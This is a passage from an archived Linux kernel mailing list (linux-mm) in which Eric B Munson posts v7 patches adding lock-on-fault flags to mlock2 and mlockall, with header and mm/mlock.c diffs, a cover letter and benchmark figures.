flags.  When used with MCL_CURRENT, all current mappings will be marked
with VM_LOCKED | VM_LOCKONFAULT.  When used with MCL_FUTURE, the
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.  When used
with both MCL_CURRENT and MCL_FUTURE, all current mappings and
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.

Prior to this patch, mlockall() will unconditionally clear the
mm->def_flags any time it is called without MCL_FUTURE.  This behavior
is maintained after adding MCL_ONFAULT.  If a call to
mlockall(MCL_FUTURE) is followed by mlockall(MCL_CURRENT), the
mm->def_flags will be cleared and new VMAs will be unlocked.  This
remains true with or without MCL_ONFAULT in either mlockall()
invocation.

munlock() will unconditionally clear both vma flags.  munlockall()
unconditionally clears for VMA flags on all VMAs and in the
mm->def_flags field.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Acked-by: Vlastimil Babka <vbabka@suse.cz>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h     |  3 ++
 arch/mips/include/uapi/asm/mman.h      |  6 ++++
 arch/parisc/include/uapi/asm/mman.h    |  3 ++
 arch/powerpc/include/uapi/asm/mman.h   |  1 +
 arch/sparc/include/uapi/asm/mman.h     |  1 +
 arch/tile/include/uapi/asm/mman.h      |  1 +
 arch/xtensa/include/uapi/asm/mman.h    |  6 ++++
 include/uapi/asm-generic/mman-common.h |  5 ++++
 include/uapi/asm-generic/mman.h        |  1 +
 mm/mlock.c                             | 53 +++++++++++++++++++++++++---------
 10 files changed, 67 insertions(+), 13 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..f2f9496 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -37,6 +37,9 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..97c03f4 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -61,6 +61,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..ecc3ae1 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -31,6 +31,9 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..03c06ba 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..9765896 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..63ee13f 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -36,6 +36,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..360944e 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -74,6 +74,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
index ddc3b36..a74dd84 100644
--- a/include/uapi/asm-generic/mman-common.h
+++ b/include/uapi/asm-generic/mman-common.h
@@ -25,6 +25,11 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
+
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_INVALIDATE	2		/* invalidate the caches */
 #define MS_SYNC		4		/* synchronous memory sync */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..7162cd4 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -17,5 +17,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index 029a75b..7e1b8c5 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -506,7 +506,8 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
 
 	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
 	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
-		goto out;	/* don't set VM_LOCKED,  don't count */
+		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
+		goto out;
 
 	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
 	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
@@ -576,7 +577,8 @@ static int apply_vma_lock_flags(unsigned long start, size_t len,
 		prev = vma;
 
 	for (nstart = start ; ; ) {
-		vm_flags_t newflags = vma->vm_flags & ~VM_LOCKED;
+		vm_flags_t newflags =
+			vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 
 		newflags |= flags;
 
@@ -645,10 +647,15 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
-	if (flags)
+	vm_flags_t vm_flags = VM_LOCKED;
+
+	if (flags & ~MLOCK_ONFAULT)
 		return -EINVAL;
 
-	return do_mlock(start, len, VM_LOCKED);
+	if (flags & MLOCK_ONFAULT)
+		vm_flags |= VM_LOCKONFAULT;
+
+	return do_mlock(start, len, vm_flags);
 }
 
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
@@ -665,24 +672,43 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 	return ret;
 }
 
+/*
+ * Take the MCL_* flags passed into mlockall (or 0 if called from munlockall)
+ * and translate into the appropriate modifications to mm->def_flags and/or the
+ * flags for all current VMAs.
+ *
+ * There are a couple of subtleties with this.  If mlockall() is called multiple
+ * times with different flags, the values do not necessarily stack.  If mlockall
+ * is called once including the MCL_FUTURE flag and then a second time without
+ * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_flags.
+ */
 static int apply_mlockall_flags(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_add = 0;
 
-	if (flags & MCL_FUTURE)
+	current->mm->def_flags &= ~(VM_LOCKED | VM_LOCKONFAULT);
+	if (flags & MCL_FUTURE) {
 		current->mm->def_flags |= VM_LOCKED;
-	else
-		current->mm->def_flags &= ~VM_LOCKED;
 
-	if (flags == MCL_FUTURE)
-		goto out;
+		if (flags & MCL_ONFAULT)
+			current->mm->def_flags |= VM_LOCKONFAULT;
+
+		if (!(flags & MCL_CURRENT))
+			goto out;
+	}
+
+	if (flags & MCL_CURRENT) {
+		to_add |= VM_LOCKED;
+		if (flags & MCL_ONFAULT)
+			to_add |= VM_LOCKONFAULT;
+	}
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
-		if (flags & MCL_CURRENT)
-			newflags |= VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
+		newflags |= to_add;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -697,7 +723,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    flags == MCL_ONFAULT)
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH v7 0/6] Allow user to request memory to be locked on page fault
Date: Sun,  9 Aug 2015 01:22:50 -0400
Lines: 226
Approved: news@gmane.org
Message-ID: <1439097776-27695-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439097804 10333 80.91.229.3 (9 Aug 2015 05:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Aug 2015 05:23:24 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	Andrea Arcangeli <aarcange@redhat.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Sun Aug 09 07:23:13 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZOJ4g-00057x-8S
	for glkm-linux-mm-2@m.gmane.org; Sun, 09 Aug 2015 07:23:10 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 23BB29003C9; Sun,  9 Aug 2015 01:23:04 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 19D839003C8; Sun,  9 Aug 2015 01:23:04 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id F30BA9003C9; Sun,  9 Aug 2015 01:23:03 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f47.google.com (mail-qg0-f47.google.com [209.85.192.47])
	by kanga.kvack.org (Postfix) with ESMTP id C79DB9003C8
	for <linux-mm@kvack.org>; Sun,  9 Aug 2015 01:23:03 -0400 (EDT)
Original-Received: by qgeh16 with SMTP id h16so99347455qge.3
        for <linux-mm@kvack.org>; Sat, 08 Aug 2015 22:23:03 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id;
        bh=+uyxnhb3HkbePTsCzThs+NR2Csp5rlpnR3O5GlP4WZ8=;
        b=Rb/Hv4MBNYS0zq5RQ4ZLre4VqzhEvWYYU86jN7Q1G2Q0sEQdAyTGvEi6YMgZNKa4t1
         J9EacdL0mrJjaq2FB1QBtFQFn++TKALL0jxiki2Q5ifjsPiXVodnrwPNeviqnxXzL9lh
         kMR/ispOikg6CqdCuXyObmrY1aROEgLgYGGqx1xlXGAQpwJNcjdv9sOR6sJ+PfbIN4Gs
         vMFqsKbO1/Ge47ZJs4Fz9/unVF3LY1ckU7It31xGOCe72FTDLaOeR4Y7Vhw7FAvG9EEl
         1w97nIlrD/GFc7fx6g04p4ag8iRsabDFC2fuq3An7ETBDuYSo8EOoAiwRXZboMjvibs5
         5Fnw==
X-Gm-Message-State: ALoCoQn1BY/VeJ8cYcawkKU7+qIy5pMWRnRHBf9H9Cu5G2X+0tmkSiS0ZB76WhzEIaozYpclHVepwyv3iw1VilnOjiumbBYu06DbCKaka/62jO40KIx84dfDZF3zZxOsBITeUCQKIBZ+Qq/T8HBCih3iVMemqjgN/7L3yyrWGhDDRiBtMycQz838LBdfVr9IWQ4jpHA7kO4U
X-Received: by 10.140.20.214 with SMTP id 80mr28089425qgj.26.1439097783628;
        Sat, 08 Aug 2015 22:23:03 -0700 (PDT)
X-Received: by 10.140.20.214 with SMTP id 80mr28089201qgj.26.1439097779914;
        Sat, 08 Aug 2015 22:22:59 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id 79si27443693qgg.88.2015.08.08.22.22.59
        for <linux-mm@kvack.org>;
        Sat, 08 Aug 2015 22:22:59 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 24CEB43358D;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 0AEF04334D6;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1439097779; bh=k5QymBbZugKpfg8tVcsQ1XXxD/8FdHdc7OteWZ8jcao=;
	l=10226; h=From:To:Cc:Date:From;
	b=q8tAecD2FWwMiUtyYH2ru/vwa1+TGMevCJSZ6J7KLEnO5JgZIuw4kopyXxUCAhxdp
	 Bkr3hmqwCRVMj+611yAAu610RRAESZEI0vDPDI5DWLz6zpxLefX1BXJURlNjZrtwRZ
	 SoBn5t84UjjaHb3TlQfm14Xc8nNOFnMi+zGo8x/Y=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.13.174])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 01296800AF;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136898 gmane.linux.ports.alpha:3270 gmane.linux.kernel:2016250 gmane.linux.ports.mips.general:49892 gmane.linux.ports.parisc:25897 gmane.linux.ports.ppc64.devel:116575 gmane.linux.ports.sparc:21370 gmane.linux.kernel.cross-arch:28816 gmane.linux.kernel.api:13487
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136898>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.  Instead of forcing all locked pages to be present
when they are allocated, this set creates a middle ground.  Pages are
marked to be placed on the unevictable LRU (locked) when they are first
used, but they are not faulted in by the mlock call.

This series introduces a new mlock() system call that takes a flags
argument along with the start address and size.  This flags argument
gives the caller the ability to request memory be locked in the
traditional way, or to be locked after the page is faulted in.  A new
MCL flag is added to mirror the lock on fault behavior from mlock() in
mlockall().

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mlock(MLOCK_ONFAULT) the user is charged against RLIMIT_MEMLOCK as
if mlock(MLOCK_LOCKED) or mmap(MAP_LOCKED) was used, so when the VMA is
created not when the pages are faulted in.  For mlockall(MCL_ONFAULT)
the user is charged as if MCL_FUTURE was used.  This decision was made
to keep the accounting checks out of the page fault path.

To illustrate the benefit of this set I wrote a test program that mmaps
a 5 GB file filled with random data and then makes 15,000,000 accesses
to random addresses in that mapping.  The test program was run 20 times
for each setup.  Results are reported for two program portions, setup
and execution.  The setup phase is calling mmap and optionally mlock on
the entire region.  For most experiments this is trivial, but it
highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with mlock(MLOCK_LOCKED) on entire range:
Setup avg:      8228.666
Processing avg: 8274.257

mmap with mlock(MLOCK_LOCKED) before each access:
Setup avg:      0.113
Processing avg: 90993.552

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.058
Processing avg: 69488.073
mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.068
Processing avg: 38204.116

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.044
Processing avg: 29671.180

mmap with mlock(MLOCK_ONFAULT) on entire range:
Setup avg:      0.189
Processing avg: 17904.899

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise mlock(MLOCK_ONFAULT) is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of stream and 10 runs of kernbench after a warmup
run whose results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.2-rc1      4.2-rc1+lock-on-fault
Copy:    10,566.5     10,421
Scale:   10,685       10,503.5
Add:     12,044.1     11,814.2
Triad:   12,064.8     11,846.3

Kernbench optimal load
                 4.2-rc1  4.2-rc1+lock-on-fault
Elapsed Time     78.453   78.991
User Time        64.2395  65.2355
System Time      9.7335   9.7085
Context Switches 22211.5  22412.1
Sleeps           14965.3  14956.1

---
Changes from V6:
* Bump the x86 system call number to avoid collision with userfaultfd
* Fix FOLL_POPULATE and FOLL_MLOCK usage when mmap is called with
 MAP_POPULATE
* Add documentation for the proc smaps change
* checkpatch fixes

Changes from V5:
Drop MLOCK_LOCKED flag
* MLOCK_ONFAULT and MCL_ONFAULT are treated as a modifier to other locking
 operations, mirroring the relationship between VM_LOCKED and
 VM_LOCKONFAULT
* Drop mmap flag and related tests
* Fix clearing of MCL_CURRENT when mlockall is called with MCL_FUTURE,
 mlockall behavoir now matches the old behavior WRT to ordering

Changes from V4:
Drop all architectures for new sys call entries except x86[_64] and MIPS
Drop munlock2 and munlockall2
Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
Adjust tests to match

Changes from V3:
Ensure that pages present when mlock2(MLOCK_ONFAULT) is called are locked
Ensure that VM_LOCKONFAULT is handled in cases that used to only check VM_LOCKED
Add tests for new system calls
Add missing syscall entries, fix NR_syscalls on multiple arch's
Add missing MAP_LOCKONFAULT for tile

Changes from V2:
Added new system calls for mlock, munlock, and munlockall with added
flags arguments for controlling how memory is locked or unlocked.


Eric B Munson (6):
  mm: mlock: Refactor mlock, munlock, and munlockall code
  mm: mlock: Add new mlock system call
  mm: Introduce VM_LOCKONFAULT
  mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
  selftests: vm: Add tests for lock on fault
  mips: Add entry for new mlock2 syscall

 Documentation/filesystems/proc.txt          |   1 +
 arch/alpha/include/uapi/asm/mman.h          |   3 +
 arch/mips/include/uapi/asm/mman.h           |   6 +
 arch/mips/include/uapi/asm/unistd.h         |  15 +-
 arch/mips/kernel/scall32-o32.S              |   1 +
 arch/mips/kernel/scall64-64.S               |   1 +
 arch/mips/kernel/scall64-n32.S              |   1 +
 arch/mips/kernel/scall64-o32.S              |   1 +
 arch/parisc/include/uapi/asm/mman.h         |   3 +
 arch/powerpc/include/uapi/asm/mman.h        |   1 +
 arch/sparc/include/uapi/asm/mman.h          |   1 +
 arch/tile/include/uapi/asm/mman.h           |   1 +
 arch/x86/entry/syscalls/syscall_32.tbl      |   1 +
 arch/x86/entry/syscalls/syscall_64.tbl      |   1 +
 arch/xtensa/include/uapi/asm/mman.h         |   6 +
 drivers/gpu/drm/drm_vm.c                    |   8 +-
 fs/proc/task_mmu.c                          |   1 +
 include/linux/mm.h                          |   2 +
 include/linux/syscalls.h                    |   2 +
 include/uapi/asm-generic/mman-common.h      |   5 +
 include/uapi/asm-generic/mman.h             |   1 +
 include/uapi/asm-generic/unistd.h           |   4 +-
 kernel/fork.c                               |   2 +-
 kernel/sys_ni.c                             |   1 +
 mm/debug.c                                  |   1 +
 mm/gup.c                                    |  10 +-
 mm/huge_memory.c                            |   2 +-
 mm/hugetlb.c                                |   4 +-
 mm/mlock.c                                  |  87 +++-
 mm/mmap.c                                   |   2 +-
 mm/rmap.c                                   |   6 +-
 tools/testing/selftests/vm/Makefile         |   2 +
 tools/testing/selftests/vm/mlock2-tests.c   | 661 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 ++
 tools/testing/selftests/vm/run_vmtests      |  22 +
 35 files changed, 872 insertions(+), 41 deletions(-)
 create mode 100644 tools/testing/selftests/vm/mlock2-tests.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Andrea Arcangeli <aarcange@redhat.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 2/6] mm: mlock: Add new mlock system call
Date: Sun,  9 Aug 2015 01:22:52 -0400
Lines: 130
Approved: news@gmane.org
Message-ID: <1439097776-27695-3-git-send-email-emunson@akamai.com>
References: <1439097776-27695-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439097806 10349 80.91.229.3 (9 Aug 2015 05:23:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Aug 2015 05:23:26 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	Andrea Arcangeli <aarcange@redhat.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org,
	linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Sun Aug 09 07:23:09 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
